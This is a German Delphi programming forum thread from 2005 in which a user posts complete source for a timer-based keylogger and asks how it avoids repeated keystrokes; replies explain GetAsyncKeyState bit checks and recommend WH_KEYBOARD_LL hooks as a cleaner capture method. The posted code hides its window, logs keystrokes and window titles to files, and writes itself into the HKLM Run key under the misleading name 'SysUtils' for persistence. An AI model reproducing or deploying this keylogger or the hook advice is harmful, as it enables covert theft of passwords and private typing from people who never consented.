AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

Keylogger ohne dll :)

Ein Thema von Aljoscha · begonnen am 29. Jun 2005 · letzter Beitrag vom 30. Jun 2005
Antwort Antwort
Seite 1 von 2  1 2      
Aljoscha

Registriert seit: 30. Dez 2004
97 Beiträge
 
#1

Keylogger ohne dll :)

  Alt 29. Jun 2005, 19:44
Hi.
Ich habe hier den Source eines Keyloggers, der ohne dll funktioniert.
Das ganze basiert auf Timern, doch ich verstehe es noch nicht ganz.
Also so weit ich das aus dem Source ersehen kann wird da mit einem Timer bgefangen welche taste grade gedrückt wurde in diesem Moment.
Aber warum ist das nicht wi bei anderen Keyloggern dieser Art, die ein:
Hallo
in ein
HHHHHHaaaaaaaaallllllllllllllllllllllllllllllllooo oooooo
verstümmeln?
Doppelte Buchstaben us, wird alles erkannt.
ich könnte den Source einfach kopieren, aber jetzt habe ich interesse zu verstehen wie das ganze Funktioniert
Hier der Soure und im Anhang das Projekt.

Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, registry, FileCtrl;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Buffer:String;
  ventanaActual:String;
  ventanaAnterior:String;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
 then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva: String;
var PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin
    {$IFDEF Win32}
    Wnd := GetForegroundWindow;
    {$ELSE}
    Wnd := GetActiveWindow;
    {$ENDIF}
    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
    Result := PC;
end;
var i: integer;
    TeclaAnterior:String;
    letra:String;
begin
 If GetAsyncKeyState(VK_TAB)=-32767 then
 letra:=' -Tab- ';
 If GetAsyncKeyState(VK_CAPITAL)=-32767 then
 letra:=' -Caps Lock- ';
 If GetAsyncKeyState(VK_ESCAPE)=-32767 then
 letra:=' -Esc- ';
 If GetAsyncKeyState(VK_DELETE)=-32767 then
 letra:=' -Delete- ';
 if GetAsyncKeyState(13)=-32767 then
  letra:=' -Enter- ';
 if GetAsyncKeyState(8)=-32767 then
  letra:=' -Back- ';
 for i:=30 to 255 do
  if GetAsyncKeyState(i)=-32767 Then
   Case i of
    91:Letra:=' (Menu inicio) ';
    96:Letra:='0';
    97:Letra:='1';
    98:Letra:='2';
    99:Letra:='3';
    100:Letra:='4';
    101:Letra:='5';
    102:Letra:='6';
    103:Letra:='7';
    104:Letra:='8';
    105:Letra:='9';
    106:Letra:='*';
    107:Letra:='+';
    109:Letra:='-';
    110:Letra:='.';
    111:Letra:='/';
    112:Letra:=' F1 ';
    113:Letra:=' F2 ';
    114:Letra:=' F3 ';
    115:Letra:=' F4 ';
    116:Letra:=' F5 ';
    117:Letra:=' F6 ';
    118:Letra:=' F7 ';
    119:Letra:=' F8 ';
    120:Letra:=' F9 ';
    121:Letra:=' F10 ';
    122:Letra:=' F11 ';
    123:Letra:=' F12 ';
   else
    if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then
     if GetKeyState(20)=1 then //si estan activadas las mayusculas
      begin
       letra:=UpCase(chr(i));//la paso a mayuscula
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra := LowerCase(chr(i))
      end
     else //Si no estan activadas las mayusculas
      begin
       letra:=LowerCase(chr(i));
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra:=UpCase(chr(i))
      end;
      end;
     VentanaAnterior:=VentanaActual;
     VentanaActual:=VentanaActiva;
     If (ventanaActual='üý') or (ventanaActual='') then
      Exit;
     If ventanaAnterior<>VentanaActiva then
      Begin
       Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10;
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End
     Else
      Begin
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Form1.Hide;
Timer1.Enabled:=True;
Timer2.Enabled:=False;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
Var archivo: TextFile;
    X:integer;
begin
 For X:=0 to 5000 do
  Begin
   AssignFile(Archivo,'log'+IntToStr(X)+'.txt');
   {$I-}Reset(Archivo);{$I+}
    If IOResult<>0 then
     Begin
      Rewrite(Archivo);
      Writeln(Archivo,DateTimeToStr(Now));
      Writeln(Archivo);
      Write(Archivo,Buffer);
      CloseFile(Archivo);
      Buffer:='';
      Exit;
     End;
  End;
End;

procedure TForm1.FormDestroy(Sender: TObject);
var Reg:TRegistry;
begin
Reg := TRegistry.Create;
 try
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
   then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
Timer3.OnTimer(Sender);
end;

end.
Angehängte Dateien
Dateityp: zip simple_key1905286242005_228.zip (11,1 KB, 106x aufgerufen)
  Mit Zitat antworten Zitat
Benutzerbild von Speedmaster
Speedmaster

Registriert seit: 4. Mär 2005
Ort: Karlsruhe
535 Beiträge
 
Delphi 2005 Personal
 
#2

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 19:57
Soweit ich dich verstanden habe, sage ich mal Spontan:
Dein Keylogger Loggt die Keys die Windoff ausgibt, und nicht die Signale die Windows verarbeitet!
Verursacht wird der Unterschied durch die Tastenanschlaggeschwindigkeit, die man in Windows einstellen kann!
Felix K.
Zitat:
Siehst du diesen Park da unten?
Jeden Tag lernen sich leute kennen und verlassen einander, und du hast dein ganzes Leben Zeit darin zu gehen!
  Mit Zitat antworten Zitat
Aljoscha

Registriert seit: 30. Dez 2004
97 Beiträge
 
#3

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 20:07
Sorry damit kann ich nicht wirklich viel anfangen :s
Wieso stellt dieser Keylogger dei Eingaben korrekt dar und andere die ähnlich arbeiten nicht?
Kannst du mir das am Source erklären?
Man bräuchte normal ja nur einen Timer für die reinen eingaben, aber irgendwie sind es 2.
Ich habe noch einen anderen Keylogger Source der mit Timern arbeitet, damit man sieht wie das bei dem aussieht.

Delphi-Quellcode:
   1. procedure TForm1.Timer1Timer(Sender: TObject);
   2. Var pos, c : integer;
   3. begin
   4. //64 = Code ASCII de la lettre 'a', si echap est presser vous le serez
   5. for c:= 1 to 255 do begin;
   6. pos := GetKeyState(c);
   7. If Copy(IntToStr(pos),1,1) = '-Then begin;
   8. memo1.Text := Memo1.Text + chr(c);
   9. End;
  10. End;
  11. end;
Wenn ich nun etwas eingebe stellt er mir je nach Timergeschwindigkeit HHHHHHaaaaaaaalllllllllllllllllllllooooooo
oder auh wnen ich z.B. langsamer einstelle
Hlo
oder noch weniger (bis eben hin zu garnichts, weil beim Timerevent der Knopf schon wieder losgelassen wurde)
  Mit Zitat antworten Zitat
Benutzerbild von DGL-luke
DGL-luke

Registriert seit: 1. Apr 2005
Ort: Bad Tölz
4.149 Beiträge
 
Delphi 2006 Professional
 
#4

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 20:20
das soll ein keylogger sein? nene junge, da gibt es was professionelleres

Hier im Forum suchenWH_KEYBOARD_LL

da solltest du unter anderem zu einem von mir gestarteten thread kommen, in dem flocke am schluss ein sehr schönes beispiel gibt.
Lukas Erlacher
Suche Grafiktablett. Spenden/Gebrauchtangebote willkommen.
Gotteskrieger gesucht!
For it is the chief characteristic of the religion of science that it works. - Isaac Asimov, Foundation I, Buch 1
  Mit Zitat antworten Zitat
Aljoscha

Registriert seit: 30. Dez 2004
97 Beiträge
 
#5

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 20:52
Na solange es die Keys logt ists doch nen keylogger oder :s
Ich kenn das ganze mit den Hooking dlls ja, aber ich würde gerne verstehen wie das hier funktioniert.
  Mit Zitat antworten Zitat
Benutzerbild von DGL-luke
DGL-luke

Registriert seit: 1. Apr 2005
Ort: Bad Tölz
4.149 Beiträge
 
Delphi 2006 Professional
 
#6

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 21:15
ich würde halt bei getasynckeystate die doppelten rausschmeissen.

setwindowshookex(WH_KEYBOARD_LL,...) funktioniert ohne DLLs! warum eine unsaubere und unperformante methode benutzen, wenn es die "offizielle" auch gibt?

getasynckeystate sollte man benutzen, wenn man eine einzelne taste holen will. wer alle keys haben will, macht gefälligst einen key hook!

PS: wieso will ich ein wackeliges dreirad verstehen, wenn ich weiss, wie man mit einem motorrad umgeht?
Lukas Erlacher
Suche Grafiktablett. Spenden/Gebrauchtangebote willkommen.
Gotteskrieger gesucht!
For it is the chief characteristic of the religion of science that it works. - Isaac Asimov, Foundation I, Buch 1
  Mit Zitat antworten Zitat
Benutzerbild von SirThornberry
SirThornberry
(Moderator)

Registriert seit: 23. Sep 2003
Ort: Bockwen
12.235 Beiträge
 
Delphi 2006 Professional
 
#7

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 21:38
@DGL-luke: ohne DLL funktioniert es nur Anwendungsweit. Wenn man mit Hook arbeitet muss es eine DLL sein um das ganze systemweit abzufangen... Die Methode mit den Timer find ich persönlich unsauber, denn wie schon erwähnt wird dort kein key geloggt wenn ich die Taste schnell genug wieder los lasse.
Jens
Mit Source ist es wie mit Kunst - Hauptsache der Künstler versteht's
  Mit Zitat antworten Zitat
Benutzerbild von Flocke
Flocke

Registriert seit: 9. Jun 2005
Ort: Unna
1.172 Beiträge
 
Delphi 10.2 Tokyo Professional
 
#8

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 21:41
Na ja, "GetAsyncKeyState" könnte den Vorteil haben, dass man es auch "normal Sterblicher" ausführen kann.

Hat einer von euch den Keyboard-Hook mal ohne administrative Rechte ausprobiert (ich nicht)??? Ich habe gelesen, dass man das Berechtigung "Debug" benötigt, was wohl nicht jeder einfache Windows-User hat.

[Nachtrag]
(Wo ist der rote Kasten, wenn man ihn braucht ...)

@SirThornberry: bei mir funktioniert WH_KEYBOARD_LL auch ohne DLL systemweit, ich bekomme damit alle Tastaturereignisse, auch die von anderen Anwendungen.
Volker
  Mit Zitat antworten Zitat
Benutzerbild von Flocke
Flocke

Registriert seit: 9. Jun 2005
Ort: Unna
1.172 Beiträge
 
Delphi 10.2 Tokyo Professional
 
#9

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 21:50
Achso, gerade noch gefunden:

Zitat:
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
Windows ist also so schlau sich zu merken, was seit dem letzten Aufruf von GetAsyncKeyState passiert ist.

Die obige Quelle ist aber in der Hinsicht ein bisschen unsauber, dass man den Rückgabewert von GetAsyncKeyState auf bestimmte Bits prüfen und nicht mit einem numerischen Wert vergleichen sollte.

Delphi-Quellcode:
TasteJetztGeradeGedrueckt := (GetAsyncKeyState(key) and $8000) <> 0;
TasteSeitDemLetztenMalGedrueckt := (GetAsyncKeyState(key) and $0001) <> 0;
Der Quelltext oben prüft auf -31767 ($8001), also ob beide Bedingungen zutreffend sind. Dadurch gibt's keine Wiederholungsfehler.
Volker
  Mit Zitat antworten Zitat
Benutzerbild von SirThornberry
SirThornberry
(Moderator)

Registriert seit: 23. Sep 2003
Ort: Bockwen
12.235 Beiträge
 
Delphi 2006 Professional
 
#10

Re: Keylogger ohne dll :)

  Alt 29. Jun 2005, 22:42
@flocke: hätt ich nicht gedacht das man da die systemweiten nachrichten noch bekommt. *noch was dazugelernt hab* woher weiß man dann eigentlich von welcher Anwendung die message kam (keyboardmessage etc.)
Jens
Mit Source ist es wie mit Kunst - Hauptsache der Künstler versteht's
  Mit Zitat antworten Zitat
Antwort Antwort
Seite 1 von 2  1 2      


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 11:55 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz